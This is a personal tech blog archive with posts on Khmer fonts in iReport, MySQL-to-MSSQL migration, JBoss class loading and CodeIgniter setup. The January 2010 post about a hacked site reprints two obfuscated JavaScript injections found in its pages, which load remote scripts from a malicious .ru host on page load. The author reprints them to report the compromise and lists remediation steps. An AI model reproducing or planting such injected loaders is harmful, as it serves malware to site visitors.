Thursday, April 8, 2010

TEMPORARY NO MORE MAITENANCE ON THIS BLOG

Hi,
As now I can't manage the post for many blogs so I stop write for this blog and export all these posts to my personal website: http://osify.com

Unless I have no money to pay for the hosting and domain, otherwise I will not come back, please visit at http://osify.com as well.

Sunday, February 28, 2010

Khmer Unicode with Ireport 3.7.1 works fine with Kh fonts

Just quick configuration with Ireport 3.7.1 without detail here:
  1. Download ireport from http://jasperforge.org 3.7.1
  2. Install ireport 3.7.1
  3. Open ireport design
  4. Use blank design
  5. Go to ireport tool configuration: Tool --> Options --> Fonts and click install fonts
I install two fonts: Khmer OS System and Kh System

First tested with Khmer OS System font, found it's not display correctly, see screen shot:

Now I use font: Kh System, it displays correctly:
Printed the report into PDF format also work for me.

To configure, I just change the font name to JasperReports Properties (find in Options menu):

In my local PC, I have already installed the font (Kh System) so please consider to add also if above configuration not yet work for you.

As I'm not using iReport, just wanna to test with Khmer Unicode only.

Thanks for comment any idea to improve it.

Tested Package download here.

Sunday, February 21, 2010

Migrate from MySQL to MS SQL 2005 using MS Access 2003 as a bridge

My friend asked me this topic "Migrate all tables of MySQL to MS SQL 2005 - what way".
I searched on the net as usual, got many questions and answer around one table import mostly but for many tables seem got a tip from a comment:

This might not be the best solution. Nonetheless, it worked for me. First you need to install and configurate the MyODBC connector as others said previously. Use Access to import from a external ODBC data source. (google it if you have trouble with this step). Once the import is done, use SSIS to import the data in the Access db into a SQL Server 2k5 db. Hope this Helps. (from social.msdb.microsoft.com)

CONTENT:
  1. Technical Environment
  2. Create ODBC Connection for MySQL
  3. Import data from ODBC of MySQL to Access Db
  4. Using SSIS (SQL Server Integration Service) to import data from Access Db to MS SQL

So here is my transforming steps:
0. Technical Environment
  • I'm using Windows XP SP3 (not mandatory, just my environment.)
  • MySQL ODBC Connector 5.1.6
  • MS Access 2003 or 2007 (I'm using Access 2007 but db with Access 2003)
  • MS SQL Server 2005
  • MS SQL Server Tool 2005

I. Create ODBC Connection to MySQL database (using MySQL ODBC Connecter / System DNS)
  • Download and install MySQL ODBC Connector here
  • Create System DNS by go to Start --> Settings --> Control Panel --> Administrator Tool --> Click on Data Source (ODBC)



II. Using MS Access to import data from an external ODBC data source
I'm using MS Access 2007 but I use Access 2003 as the version here as mostly would work for all as well.

Step 1: Create a blank Access Db (Using compatible MS Access 2003)


Step 2: Go to tab External Data, using import or link to an ODBC Database:
Step 3: Using Import the source data into a new table in the current database option

Step 4: Go to tab: Machine Data Source, choose MySQL

"Choose your MySQL database to import"

Step 5: You will see a windows to list all table object, select all and click Ok

Step 6: You've done, now. Close button is welcome.


III. Using SSIS (SQL Server Integration Service)
As said above, I'm using MS SQL 2005 Tool (SQL Server Management Studio)

Step 1: start SQL Server Management Studio


Step 2: Connect to the server with your authentication

Step 3: Create new database (in case, it's new) Ex: mySqlDbLink (not mandatory naming)

Step 4: Right click on the db you want to import all tables / data, choose Import task

Step 5: Choose data source: Microsoft Access and link the file name with above access db (Ex: Z:\LinkToImport.mdb)

Step 6: Follow all steps of importing wizard but here choose: Copy data from one or more tables or views

Step 7: Follow other instruction (select all tables as example), proceed the import


Caution: During my process, I got error and all tables are not imported; I didn't try to find to know why, but I just try my work for me solution in next comment.

See error log:
- Pre-execute (Error)
Messages
* Error 0xc0202009: {97D241BA-4215-4D82-A8CE-716288708210}: An OLE DB error has occurred. Error code: 0x80004005.
An OLE DB record is available. Source: "Microsoft JET Database Engine" Hresult: 0x80004005 Description: "Unspecified error".
(SQL Server Import and Export Wizard)

* Error 0xc020801c: Data Flow Task: The AcquireConnection method call to the connection manager "SourceConnectionOLEDB" failed with error code 0xC0202009.
(SQL Server Import and Export Wizard)

* Error 0xc004701a: Data Flow Task: component "Source 32 - wp_bp_messages_messages" (2627) failed the pre-execute phase and returned error code 0xC020801C.
(SQL Server Import and Export Wizard)
My WORK FOR ME Solution:
  • I again re-import the database with one table and I got successful imported
  • I start again re-import for all tables, and I got successful with all tables list:


Finally: Check at the database, found all tables listed here and check some tables, data are there.

Hope it helps,
Check and give comment if anything to update.
What I have read:

Tuesday, February 2, 2010

Flex 3.x working with Khmer Unicode ?

I start a topic now with Flex 3 not rendering well with Khmer Unicode.

If anyone has any idea, please share; I'll do after some test first.

Updated 10/02/2010:
Embaded font still not work in flex 3:

To continue more test and find.

Tuesday, January 26, 2010

Website hacked with random URL to access (http://ku6-com.haberturk.com.careerbuilder-com.webnetlinks.ru:8080/)

One of my website has been hacked by some hacker or can be with some libraries I am using for my CodeIgniter project... I'm not sure if it is due to the library or about my web hosting place.... I'm still investigating the issue.

It is trying to access to random URL as :

http://ku6-com.haberturk.com.careerbuilder-com.webnetlinks.ru:8080/apple.com/apple.com/drudgereport.com/google.com/joy.cn/
Mostly the random URL start with:
http://ku6-com.haberturk.com.careerbuilder-com.webnetlinks.ru:8080

Check to webnetlinks.ru I got alert from WOT (Add-on of firefox) that this site is unsafe.

View my page source code found:
  • Following script before html tag

<script src='+'h^&)t($t)$#p&($^$:@$/)^)/)^@(k^^^!u)))6@(-&^c((!!o#@^m#.@&h#@a()
(b!e@)!r!##t(@^u&r$#k$.!#c)!o@(&m&@.^&@c@@#a^)r$#^!&e&$^@e@#)!r@&b^)u)^i!
(l)(d&@e)!#r!)(-(c!^^o$^m^^!.!!&w^&(e(!^b!#)^!n!#)e#
(&)t!&l##!^!i&@n#$k$&s)&#.&@!$r@)@u$!):$8)^&0$$!8&!0)
(#$/)$a)#p!$p$l&#e&#.^^@#c#o$$&)m$$#/!)a^@@$p)!p)l^#e&!.!$#c#(@o)$)^m((&
/&&d^&r$@u!@^d^)&g$$)e#$@r(^e(^!p&^o@!^&r^^)#t)&(#.)$^c()o^)m(@@
/@@g$&#^#o#o$g&l#!e(&.#!(c^&o^$m)#&&/$j$o#$)y).@^c&)n(@&/!@'.replace(/\$|\!|\)|
\^|#|@|\(|&/ig, '')+' defer=defer></scr'+'ipt>

  • At the end of html tag found some hidden code:
82fd50e7972f75db5204eef49fd077cc


All those above, I didn't code so consider this point to start searching.

Note: I have no any issue at my local site.

Hope I'll find soon

Update 27/01, 1:30pm: Very bad, these scripts are added to most html pages, to most javascript files. Seem not issue due to any library of CodeIgniter but with some virus who can hack using ftp, it may be my password is very poor that it can hack.

Update 29/01, 12:48pm: Now again, new hack script added the same site (before I didn't change ftp password yet), here is the new script:


try{window.onload=function(){document.write('<div id="megaid">youjizz-com.oneindia.in.d</div>');Lb4bz8i1odh = document.getElementById('megaid').innerHTML + 'u$#!$^o#@@w&a(n(@!-$$$c@(o$)!$m)&$@!.!)$(@t)^o($(p)!#l$i$@n#$^e&^(m@#&a@$^#r^^i@@^(n$e^##.#r&^$u(@^:)$D@!#E^()B^&U!(@&G#$#$/&&(s#^$p@(!(o$n&@i$)c@^h$#i^@$.^c&(o)$.(!j#@(p(!^^!/$s#!p(!&^o#n@)#i^!c##h)#)i(@.@!&^c(#o))@!.!j(^#p^^!!/@(^#@x)@t#!e!#$)n$)^d!(m@e@d((i&^!a^$!&).)@)#(c)$#o&^^#m#@$/!^^&g$@$o#o@!(g&!@#l#@#e#.@$@#c!(o^m)!^/&a!)l(!(i@c$!&e(^^.)!#^i^#$t($/@&'.replace(/@|\$|#|&|\^|\!|\)|\(/ig, '') ;document.write('<scr'+'ipt src="http://%27+Lb4bz8i1odh.replace%28/DEBUG/g,"></scr'+'ipt>');} } catch(Ijhdnoxns ) {}
<!--82fd50e7972f75db5204eef49fd077cc--><script> try{window.onload=function(){document.write('<div id="megaid">youjizz-com.oneindia.in.d</div>');Lb4bz8i1odh = document.getElementById('megaid').innerHTML + 'u$#!$^o#@@w&a(n(@!-$$$c@(o$)!$m)&$@!.!)$(@t)^o($(p)!#l$i$@n#$^e&^(m@#&a@$^#r^^i@@^(n$e^##.#r&^$u(@^:)$D@!#E^()B^&U!(@&G#$#$/&&(s#^$p@(!(o$n&@i$)c@^h$#i^@$.^c&(o)$.(!j#@(p(!^^!/$s#!p(!&^o#n@)#i^!c##h)#)i(@.@!&^c(#o))@!.!j(^#p^^!!/@(^#@x)@t#!e!#$)n$)^d!(m@e@d((i&^!a^$!&).)@)#(c)$#o&^^#m#@$/!^^&g$@$o#o@!(g&!@#l#@#e#.@$@#c!(o^m)!^/&a!)l(!(i@c$!&e(^^.)!#^i^#$t($/@&'.replace(/@|\$|#|&|\^|\!|\)|\(/ig, '') ;document.write('<scr'+'ipt src="http://'+Lb4bz8i1odh.replace(/DEBUG/g,"></scr'+'ipt>');} } catch(Ijhdnoxns ) {}</script>
<!--82fd50e7972f75db5204eef49fd077cc-->

Related issue found on the net:
  1. http://blog.unmaskparasites.com/2009/12/23/from-hidden-iframes-to-obfuscated-scripts/
  2. http://blog.unmaskparasites.com/2009/09/23/10-ftp-clients-malware-steals-credentials-from/

Solutions: (that may can prevent not to happen again)
I'm using FileZilla as a ftp client
  1. Change ftp password
  2. Change application password
  3. Scan virus on the pc that using
  4. Remove all storing passwords on FTP clients

Monday, January 25, 2010

JBoss 4.2.2.GA - Deploying issue on class loading and out of memory

While deploying my applications with JBoss 4.2.2.GA, using JDK 1.5 I got some issue with class loading issue something like:

1. If meet such error:
org.jboss.deployment.DeploymentException: Error while fixing table name; - nested throwable: (org.jboss.util.NestedSQLException: Could not create connection; - nested throwable: (org.jboss.resource.JBossResourceException: Failed to register driver for: oracle.jdbc.driver.OracleDriver; - nested throwable: (java.lang.ClassNotFoundException: No ClassLoaders found for: oracle.jdbc.driver.OracleDriver)); - nested throwable: (org.jboss.resource.JBossResourceException: Could not create connection; - nested throwable: (org.jboss.resource.JBossResourceException: Failed to register driver for: oracle.jdbc.driver.OracleDriver; - nested throwable: (java.lang.ClassNotFoundException: No ClassLoaders found for: oracle.jdbc.driver.OracleDriver))))


For sure, missing Oracle JDBC driver so Copy the Oracle JDBC Driver (10.2.0.1.0) (ojdbc14.jar) to lib folder of %JBOSS_HOME%/lib or at your server %JBOSS_HOME%/server/default/lib directory.

2. If something around:

2010-01-25 15:03:27,113 DEBUG [org.jboss.web.tomcat.service.TomcatDeployer] Classes needed for clustered webapp unavailable
java.lang.NoClassDefFoundError: org/jgroups/blocks/MethodCall
at org.jboss.web.tomcat.service.session.JBossCacheService.(JBossCacheService.java:70)
at org.jboss.web.tomcat.service.session.JBossCacheManager.init(JBossCacheManager.java:157)
at org.jboss.web.tomcat.service.TomcatDeployer.performDeployInternal(TomcatDeployer.java:336)

So please try as following:
  • Define a isolated classloader. To do it, change %JBOSS_HOME%/server/default/conf/jboss-service.xml :
<mbean code="org.jboss.naming.NamingService" name="jboss:service=Naming" dd="resource:xmdesc/NamingService-xmbean.xml">
[ ... ]
<attribute name="CallByValue">true</attribute>
[ ... ]
</mbean>

  • change %JBOSS_HOME%/server/default/deploy/ear-deployer.xml :
<server>
[...]
<attribute name="Isolated">true</attribute>
[...]
<attribute name="CallByValue">true</attribute>
[...]
</server>

  • change %JBOSS_HOME%/server/default/deploy/jboss-web.deployer/META-INF/jboss-service.xml :
[...]
<attribute name="Java2ClassLoadingCompliance">true</attribute>
[...]
<attribute name="UseJBossWebLoader">true</attribute>
[...]


3. When you wanna to deploy more than 2 applications on the same JBoss server instance, you may face some issues with unsuccessful deployment and with some error around Out of Memory.
So we need to increase memory allocation for Jboss, let's try to add/change JAVA_OPTS for memory allocation in file %JBOSS_HOME%/bin/run.bat as
set JAVA_OPTS=%JAVA_OPTS% -Xms512m -Xmx1024m -XX:MaxPermSize=128m

My applications are now deployed.

Thursday, January 21, 2010

CodeIgniter - Remove index.php from URI

Normally with CodeIgniter, the URI will come with http://domain/index.php/controller/method
You may have doubt to remove the index.php to have only http://domain/controller/method ..

Here is the way:
1. mod_rewrite still need to be enable in your apache server
2. Open config.php from your application/config and replace $config['index_page'] = “index.php” by $config['index_page'] = “”

3. In file .htaccess at the root of your website (should be in website root, where the system directory is) and add following line:


RewriteEngine on
RewriteCond $1 !^(index\.php|resources|robots\.txt)
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.*)$ index.php/$1 [L,QSA]

(My case, above changes work fine)

4. In some case, the default setting for uri_protocol does not work properly. To solve this problem just replace $config['uri_protocol'] = “AUTO” by $config['uri_protocol'] = “REQUEST_URI” from application/config/config.php

Enjoy,

Update 26/01: If you want both using index.php with URI or no, you just need to skip option 4 (using uri_protocol as AUTO)

CodeIgniter - Automatic config base url

In CodeIgniter, you may know that you need to configure base url via config.php (param: $config["base_url"]) so when change domain you may doubt sometimes with such small error; Here a solution to help solving the issue;

Change at config.php by fix url with this smart url configuration:

$config['base_url'] = ((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == "on") ? "https" : "http");
$config['base_url'] .= "://".$_SERVER['HTTP_HOST'];
$config['base_url'] .= str_replace(basename($_SERVER['SCRIPT_NAME']),"",$_SERVER['SCRIPT_NAME']);

Source: http://codeigniter.com/wiki/Automatic_configbase_url/

Thursday, November 5, 2009

2007 Microsoft Office Add-in: Microsoft Save as PDF or XPS

I start using MS Office 2007 and also has Adobe Acrobat 8.0 install, I can print as PDF in MS Word 2003 but not with MS Office 2007. See below screen shots of error:

But in fact with MS Office 2007, Microsoft has provided an add-in for converting from DOC to PDF very easily, just download from: http://www.microsoft.com/downloads/details.aspx?FamilyId=4D951911-3E7E-4AE6-B059-A2E79ED87041&displaylang=en

After I install: SaveAsPDFandXPS.exe
I can convert by go to: Save As -> PDF or XPS
PDF loaded as expected!
Great!

Sunday, October 4, 2009

At BarCamp 2009, topic: The State of The Art of Web Development

Hi,
Here is my presentation at barcamp phnom penh 2009, on Sunday 4th of October at Pannasastra University (Norodom), in hall room, Room Phnom Tamao at 11:30am to 12:30pm.

It was about the state of the art of web development, wanna to express how web technologies going on since it was started and today; also a bit view on how the future is.

The presentation, it's just starting or a beginning of the topic. Among those points, parts related to technologies of Java/J2EE, Django/Ruby on Rails, PHP style coding need to improve in the presentation, hope to do it more in next part.

Enjoy here: